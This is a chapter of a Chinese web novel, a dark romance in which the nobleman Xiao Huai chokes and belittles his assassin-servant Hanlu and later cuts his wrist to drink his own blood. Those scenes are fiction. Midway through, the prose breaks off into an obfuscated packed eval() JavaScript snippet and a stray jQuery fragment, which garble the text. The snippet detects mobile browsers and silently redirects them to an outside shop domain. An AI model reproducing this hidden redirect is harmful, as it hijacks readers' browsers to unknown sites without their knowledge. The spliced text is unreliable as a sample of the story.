18. 第 18 章
    又是二选一。

    她想起了青枫。

    倒在血泊里的青枫,还有那被她亲手砸碎的玉簪。

    “为什么?”

    良久的沉寂之后,寒露抬眸,一双浅色的瞳孔似是蒙了层薄冰,不解问他。

    她脑子愚钝,里面没有九曲八弯,实在不明白,他为何要如此。

    为什么,又是这样。

    为什么总是这样。

    为什么让她亲手杀了青枫之后,还要她亲手杀了那少年。

    她不想,根本不想杀青枫!

    她也不想杀那少年。

    她当时救了他,就是不想让他死!!!

    少女浅色的眼眸渐渐染了红意,一双黛眉也紧紧拧着,仿佛成了锋利的剑刃。

    剑光刺目。

    越来越不听话了啊。

    萧淮半阖眼眸,平静的笑意下潜藏风暴。

    他修长的五指插入少女发丝,柔顺丝滑的触感掠过皮肤,发香丝丝缕缕地缠在指尖,激的人欲望摇晃。

    “为什么……”

    男人讥诮地嗤了声,薄唇间的热息落在少女耳畔,将她肌肤灼烧得泛了红。

    他手指绕着她一缕发丝,缠紧,忽地一用力,少女纤细脖颈仰起,弧度优美而脆弱。

    令人想彻底碾碎。

    寒露头皮一阵痛意,她下意识想哼出声,却死死忍住,没有发出一点声音。

    “我是主,你是奴,露儿,你问我为什么?”

    男人的话声温柔含笑,宛如一泓清泉在月下缓缓流淌,此时此刻,却让人不寒而栗。

    是了,他是主,她是奴。

    她能做的只有服从。

    无风楼暗卫不服从的下场只有一个,便是……死。

    死无全尸,身首异处。

    她不能例外。

    他说,她是他的傀儡,她是他养大的一条狗。

    她如何能例外。

    寒露垂下眼睑。

    男人的手却辗转落在她脖颈。

    修长五指握拢,冷白手背青筋浮现,寒露喉咙里骤然涌出阵阵窒息之感。

    低沉而嘶哑的声音落在耳边,颤意越发明显:“你当真以为我舍不得杀你?”

    喉咙的窒息感几令她喘不过气,是生是死都握在他手上,寒露当然不会如此以为。

    “奴,奴没有。”

    寒露艰难地吐出几字,背脊仍旧挺直,眼眸垂下,看去一副乖顺之态。

    但眼眸里掩着的光却冰冷而寂静。

    男人别过眸光,视线落在地上少女的影子里。

    他靡红的薄唇扯着,光华明艳的脸上竟现出一丝极其扭曲的神情。

    掐着她脖子的手一下松开又一下握紧,看去濒临分裂。

    他当真想杀了她么?

    不,这个他亲手养大的少女双手还未沾满血,她还没成为他锋利的刀。

    他自是不会让她死。

    而寒露眼泪流出,她看着面前漂亮至极的人,只觉又回到了那日的大火,仿佛他的眸光又映着火光,疯狂之色愈显。

    “露儿,我再说一遍,我养你这么大,我亲手教导你,不是为了让你爬我的床,跟我要那些情情爱爱风花雪月,这些是最无用的东西啊,你不明白吗?”

    “它会让人失了理智,成为一个彻彻底底的疯子,让人什么都能丢弃,只为了那可笑的爱,只为了从别人那乞求来一丁点的爱……多可怜啊……”

    “多可怜啊……露儿,你要成为这样的疯子,这样的废物吗?”

    男人轻声说着,修长五指辗转落在少女残破的唇,他的声音嘶哑过后残存一瞬的温柔,忽然之间,冷宫里女人的哭声,叫喊声蓦地回响耳边,他的眼前骤然闪过大片大片的血色,紧接着,头颅滚落在地,无首尸身倒下……

    难忍的刺痛袭来,脑袋似被刀剑搅弄,头疼欲裂。

    萧淮蓦地收回了手,身形竟是有些摇晃,踉跄着往后退去,撞上身后书桌,噼里啪啦,笔墨纸砚落了一地。

    他一手撑着桌沿,一手捏着太阳穴,弓着背,大口大口地喘着气,竹叶银纹的宽袖滑至手肘,露出了一截青筋虬结的小臂来。

    白皙有力,上面却陡然浮现大片的伤痕,狰狞可怖。

    脖子处的力气松了,寒露得了喘息,猛地咳嗽起来,而她听到动静抬眼看去,在琉璃灯下,萧淮小臂处的伤痕蓦地映入眼眸。

    伤痕自手腕直直延伸到手肘,尽管上面似是敷了药膏,但看去仍是皮肉焦红,血肉模糊。

    他手臂本白皙强健,肌肉线条流畅而美丽,这大片的伤痕横亘其上,显得格外触目惊心。

    似是通透美丽的玉器有了瑕疵,总是令人遗憾而心惊。

    他是那样漂亮,那样的清贵华艳,只要有他在的地方,满室明艳华光,吸引所有目光,美得不似凡尘之人……

    寒露一直都知道,清楚的知道,自小到大,自见他的第一眼起到现在,她都是被他的这副皮囊,被他这张脸所引诱,她也承认,这样狰狞而丑陋的伤痕与这人格格不入,不应出现在他身上。

    他如此好看,世家公子,皇室贵胄,他向来高高在上,如玉一样白净无暇,这样的伤痕,太违和了。

    寒露目光一顿,刹那失神。

    看上去……是烧伤。

    烧伤。

    她眨了眨眼,大火里,男人的手横在她腰间,最后闭眼前,寒露看到的,只有那双映着灼灼火光的桃花眼,似要将她整个焚烧成灰。

    公子是为了救她出去才,才受伤的吗?

    这个念头划过她脑海,刹那之间,枯木逢春,死灰复燃,那些被压抑的情思和爱慕又涌现出来。

    公子对她,会不会……

    少女卑微又惶恐地想着,瞳孔微缩,嘴唇嗫嚅,翕张间似是想说什么,眼尾被冲刷着染了一片红。

    然而他一手养大她,何其地了解她,自她眼里泛起的水光,那双亮若星子的眼眸,他便知道她在渴望什么,妄想什么。

    想要爱?

    当真愚蠢,当真废物。

    萧淮探知到了她眼眸里的爱慕和渴望,然后下一刻便毫不犹豫地,残忍地将其湮灭成灰。

    还是那高高在上,睥睨万物的姿态

    冷冷淡淡垂眼,不带半点感情,像是在看一个可怜的蝼蚁。

    他垂下手,将小臂处的烧伤痕迹都掩了去,他拉过一旁的椅子闲适坐下,长腿分开,手肘支着膝盖,抬起少女下巴凑近了瞧。

    “露儿,别把自己看得太重了,你不过是我豢养的一条狗。”

    少女眼里的光倏地沉寂下去。

    男人的话还在耳边盘旋。

    “你在想什么?你认为本王是为了抱你出去而受的伤?”

    “你以为本王是为了大火不烧着你而烧了自己?”

    男人微薄的唇上扬,他肤白唇红,此刻嘴角晕着一抹笑意,分明看去若春风拂柳,冰消雪融,那双黑沉的眼眸却刻薄寡恩,阴冷侧侧。

    望过去,便让人浑身发抖。

    “不过意外罢了。”

    他轻描淡写地否了这件事,手指细细地磨着她下巴玩,当真像在逗弄一个自己豢养的宠物。

    寒露极其不喜欢这种感受,她忽地扭过头去,男人眼底的笑意停了一瞬,手上当即用了力,五指陷入她脸颊软肉,将她的脸又扳了过来。

    迫使她不得不直视他。

    两人视线相碰,却始终融不到一起。

    男人口干舌燥。

    那种头皮发麻的感觉又猛地窜了上来。

    他哼笑了声,手上用着力,舌尖的话滚落而出,字字句句都锋利见血。

    “不开心不愿意?露儿,你以为你是什么我养着的千金小姐?你当真以为本王会纵着你,你跟我耍什么小姐脾气?!”

    寒露眼睛通红,却倔强地不肯垂眼,直直地死死地看着他。

    男人落在她唇边的手微顿。

    他长睫轻晃,一双桃花眼光影明灭。

    萧淮忽然起身,一张椅子往后倒去,发出刺耳声响,随即四分五裂。

    他整了整衣衫,衣袖摩擦手臂,小臂处烧焦的皮肉令他眉头微拧,大火的灼烧感似又攀上,怀里的少女柔若无骨,在拽着他衣袖,一声声地喊他哥哥。

    她极度害怕时,总会依恋地喊他哥哥,但这声哥哥,他许多年都未听到了。

    意识有片刻的浮沉,待回过神后,男人的眼角眉梢却带着一如既往的笑。

    他看她,风轻云淡,居高临下,低眉垂眼间尽是令人臣服的压迫感。

    “露儿,这件事不管你愿不愿意,你都没得选。”

    “这是命令,这是任务,你能做的只有服从,不然,自裁,把这条命还给本王。”

    被抛弃的幼鸟抖抖瑟瑟地抬起眼。

    “你还是小孩时,我便和你说过……我并非好人,你跟着我不会痛快,跟了我便走不了了。”

    “是你自己……要跟着我。”

    寒露没说话,她跪在地上,伶仃娇弱,背脊却倔强地不肯弯下,直挺挺地跪着,眼尾分明染了水意,却死死咬牙忍着,不肯在他面前落一滴泪。

    自小时候起,便是如此,

    果真是他养大的小孩。

    萧淮轻笑一声,眼眸里透出晦暗的情绪,他抬手,惯常地想抚摸她脑袋时,指尖却停在她发丝的毫厘之间。

    红玉金簪不见了。

    “簪子。”

    他忽然说了这二字。

    这两个字毫无预兆地砸在耳边,寒露愣了那么一瞬,当即反应过来,他指的是那根红玉金簪。

    他亲手插在她发间的,那支染了血的红玉金簪。

    簪子……簪子丢了。

    那晚画面闪过,巷子里的那个男人……

    会不会……

    寒露肩膀微不可查地抖了下,心电急转间,她立马便回了话,语气听去与平常无异。

    “出任务不好戴,便摘了下来,放在匣子里。”

    他看她良久,寒露只觉背上压了千斤重担,压得她喘不过气。

    她的手指指尖握到发白,直到他反常地没有追着问下去,她才松了口气。

    “第二个任务,务必完成,本王给你十日期限。”

    他转身走到窗前,背对着她迎着月色,声音被飘渺的晚风吹来,晃晃荡荡地落在她耳边,一下下地锤着她心神。

    “露儿,我把你带回王府,我把你养大,你不准背叛我,更不能为了无关紧要之人……忤逆我。”

    男人垂眼侧首,乌发垂落他脸颊,月色笼着,将他那张脸衬得越发清绝艳绝。

    寒露捕捉到他那抹纠缠的,比月色还冷的目光,听到他说:

    “你是我的。”

    “只能是我的,明白吗?”

    寒露不解,眼眸里尽是茫然。

    她摇了摇头,说:“不明白。”

    她不明白。

    他的什么?

    他的狗吗。

    但她想当人。

    她不想……被栓锁链,锁在他身边了。

    他不会爱她。

    也不让她爱他。

    “这样啊……”

    萧淮收回目光,遥望天上被遮的明月,方才脸颊洒落的月色成了一片阴影。

    他笑着叹着,声音温润如玉石,却莫名地令人觉察出疯狂和压抑。

    “可这事,由不得你。”

    ——

    的确由不得她。

    她是他的傀儡。

    她若要离开他,只能看他什么时候大发慈悲,觉得她替他杀够了人,觉得他从她这得到了相应的价值,放过她。

    什么时候呢。

    什么时候她才能还完这恩情呢。

    寒露不知道,她只能……去执行命令。

    “今日,陪本王去一处地方。”

    “是。”

    秋风萧瑟,天色阴沉,翌日,萧淮让人备好祭祀用的物什后,命她随他去一处地方。

    一处墓地。

    法华寺后山的一处密林里,那里有一片无碑的墓地。

    每年的这个时候,他都会带她来,只带她来。

    寒露并不知道这些无碑的墓里埋葬着谁,他从来不说,作为下属,作为暗卫,寒露也不会逾矩问他,

    墓地前纸钱烧着,袅袅飘出几缕青烟,与林里的水雾缠绕在一起。

    萧淮半蹲在地烧着纸钱,寒露便站在一旁,看他。

    男人削瘦的手腕盖着一层丝绸白衣,随着烧纸钱的动作,隐约透出手腕骨相,旖旎而风流。

    少女的目光随之而动。

    他一袭素衣,乌发只一根白色绸带松松束着,阴沉冷雾之中,容貌似是映着一层薄薄月色,即便是在如此场合,也莫名被被晕染出几分绮艳来。

    “露儿,公子有这么好看吗?自小你便爱盯着我看,怎么都不移眼,也不知道害羞。”

    萧淮背对着一旁的少女,也不知怎么发现她在盯着自己看,忽而问了这么一句。

    “好看。”被他戳穿,寒露也不掩饰,很直白地回答了他。

    萧淮笑了。

    纸钱烧完,他起了身,在密林的浓雾里,雪肤乌发,容貌昳丽,更是像极了话本子里飘荡的艳鬼。

    寒露看着这男人朝自己走来,有一瞬的恍惚,甫一眨眼,眼睫便被雾气浸得湿淋淋的。

    瞧,分明是公子勾引她。

    公子难道没错吗?她不过是被他勾得亲了下他罢了,她如何错了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281867|151864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    分明是他,他却还说她放荡,不知羞耻。

    分明是公子放荡。

    “小脑袋瓜里又在想什么?”男人走过去摸了摸她的头,声音嘶哑而缓慢,带着平日里没有的轻柔笑意,还有似有若无的疲惫。

    寒露没有躲开他,任他如小时候那般摸着自己的脑袋,然后也如小时候那般,眨着一双清凌凌的眼眸看她,说了句大不敬的话。

    “在想,公子放荡。”

    寒露向来不懂掩饰,想着什么便说了什么,此时此刻也是,萧淮问什么,她便把心中所想说了出来。

    “哈……”

    许是没料到她会说这么一句,他没忍住笑出了声,摸她脑袋的手垂下,在无人可以探见的地方,这个男人的耳后如玉肌肤氤氲出一团艳色。

    在坟墓前说着如此之话,男人随即敛笑,厉声斥责:“胡闹。”

    “露儿,我如何把你养成这样了?你若再胡言乱语,没大没小,我便把你扒光了衣衫扔在这。”

    寒露不说话了。

    她相信他当真做得出如此之事。

    小畜生似乎乖了下来,不再胡言乱语,安静地垂着小脑袋。

    无碑坟前的纸钱被火烧着,转瞬成灰,秋风卷起残灰,纸钱香烛的味道飘散浓雾之中。

    萧淮盯着坟前纸灰看了会,少顷问她:“知道这里面埋着谁吗?”

    寒露答:“不知道。”

    话落,他收回看向坟前的目光,辗转落在少女脸庞,又道:“我的至亲之人。”

    “都死了。”

    萧淮笑了,薄唇勾着,俄而又扯出一个极其嘲讽的弧度:“不,还剩下个疯子。”

    “一个疯子。”

    寒露没说话。

    公子的家世,不是他们可以窥探的。

    她如他所愿,自觉地当好着一个傀儡和棋子。

    坟前的香烛纸钱还在燃着,渺渺青烟,浓雾蒙蒙,男人与少女之间沉寂许久,忽而之间一阵风起,纸钱打着旋飘向两人之间。

    两人相视对望,他问她:“露儿,你是吗?”

    少女目露疑惑,他又问:“是我的至亲之人吗?”

    “至亲之人……”

    这几个字的份量太重了。

    寒露呢喃念着这几字,眼眸里似是也蒙了一层层的水雾,茫然而不解。

    至亲之人,她如何会是公子的至亲之人呢。

    若他把她当至亲之人,他如何会那般对她。

    光怪陆离的画面一瞬瞬闪过。

    血泊里的青枫,砸碎的玉簪,被他踢翻的火盆,脖子的窒息感,还有那一句一句……比剑刃还要锋利的话语。

    还有……她将要杀死的那少年。

    寒露虽然不算聪明,但她也不傻。

    她知道,他也一次次地说过,她不过是他的狗罢了。

    一条养着玩的狗罢了。

    实际上,也的确如此。

    “公子说胡话了,寒露如何配。”

    寒露谦卑而温顺地跪在他面前,姿态卑微。

    她和他之间一向如此。

    主和奴,一向如此。

    男人往后退了半步,旋即脸上浮起一抹极冷的笑意。

    “是了,你如何配。”

    他的面上重又恢复平日的神情,他笑着,往那一片坟墓走去。

    身形摇摇晃晃,素白衣衫和乌发被风吹起,他的声音还回荡在少女耳边。

    “露儿,你不过是我养的一条狗。”

    “你如何配。”

    她如何配。

    ——

    这日,从这片无碑的墓地回来,夜里,萧淮便发了疯病。

    萧淮有疯病,这事,只有寒露一个人知道。

    寒露找遍王府都不见簪子的影子,她正想趁着晚上萧淮睡了,偷偷去那条小巷找簪子时,方从萧淮的院子穿过,便听到房间里传来一阵一阵的摔砸声。

    瓷器玉器碎落一地。

    她停住了脚步。

    平日里若是没有吩咐,公子的这间院子是谁也不敢靠近,只有她不怕死,雷雨夜总爱到他房间来。

    “哈哈哈哈——疯子!”

    “死了!都死了!”

    “娘,都死了啊!”

    “都死了……”

    “守不住了啊……”

    “援军,援军到不了……”

    “哈哈哈哈哈……”

    “烂透了。”

    ……

    一声声的嘶喊像从无边地狱里传来,似哭喊似嚎叫,戾气冲天恨意翻涌,成了个要将人拉着一起坠落的巨大漩涡。

    寒露在萧淮屋外的台阶之下立了片刻,随即推开房门,走入了这个漩涡。

    她推开房门,月色透进,昏暗隐去,她跨过门槛,便看到在一地的碎瓷器之中,在那些染了鲜血的碎瓷器中,摇摇晃晃地立着一个人。

    长身玉立,瘦削落拓,一身白衣成了血衣,俊美的脸上沾着星星点点的、狂乱的血迹。

    一缕月色照进,男人半阖着眼眸看向她,手里拿着一柄短刀,手腕处的鲜血喷涌而出,可见被吸吮的痕迹,他肤色发冷,薄唇染着手腕上的鲜血,一张脸看去透着疯狂的糜艳之色,可怖骇人,森然如鬼,却又惊心动魄。

    他割开皮肉,在喝自己的血。

    他这种模样,她看过太多次。

    以前,连她也记不清是什么时候,在她第一次发现他这个秘密时,她还很小,饶是再冷静,再像个小大人也不免被这种场景吓坏,她呆了好久,而后死死地笨拙地抱住他的腿,颤抖的哭声里带着未消的稚气。

    “疼,哥哥疼,露儿也疼。”

    她不是那种讨人喜欢的小孩,不会说安慰人的可心话,当时的她也不过是个小孩子,被这个场面吓坏了,只知道死死抱着他,一遍遍地喊他哥哥,喊疼。

    喊到后面自己都昏了过去,手却还不松。

    第二日她醒来,发现自己不知怎么睡到了床榻上,身上严严实实地盖着被子,蹭了血的手心也被擦拭得干干净净。

    而萧淮,曲着长腿靠在床沿,睡了过去。

    此时此刻,此情此景,亦是如此。

    她看着面前浑身染血,手拿刀刃的男人,竟有一瞬的恍惚。

    只是这一次,她没再如同以前那样,死死地抱着他,抱着他喊疼,抱着他喊哥哥。

    在屋外透进的月色里,在满室的狼藉,满室地血腥气里,她只是安静地垂着眼,等候吩咐。

    看到她,面前的男人似是那疯病中挣扎出来,意识得了几分清明。

    哐当一声,他手里的刀刃掉在地上,他舔了舔唇边鲜血,随即张开双手,轻轻歪了下头,笑着说:

    “露儿,你不疼疼哥哥吗?”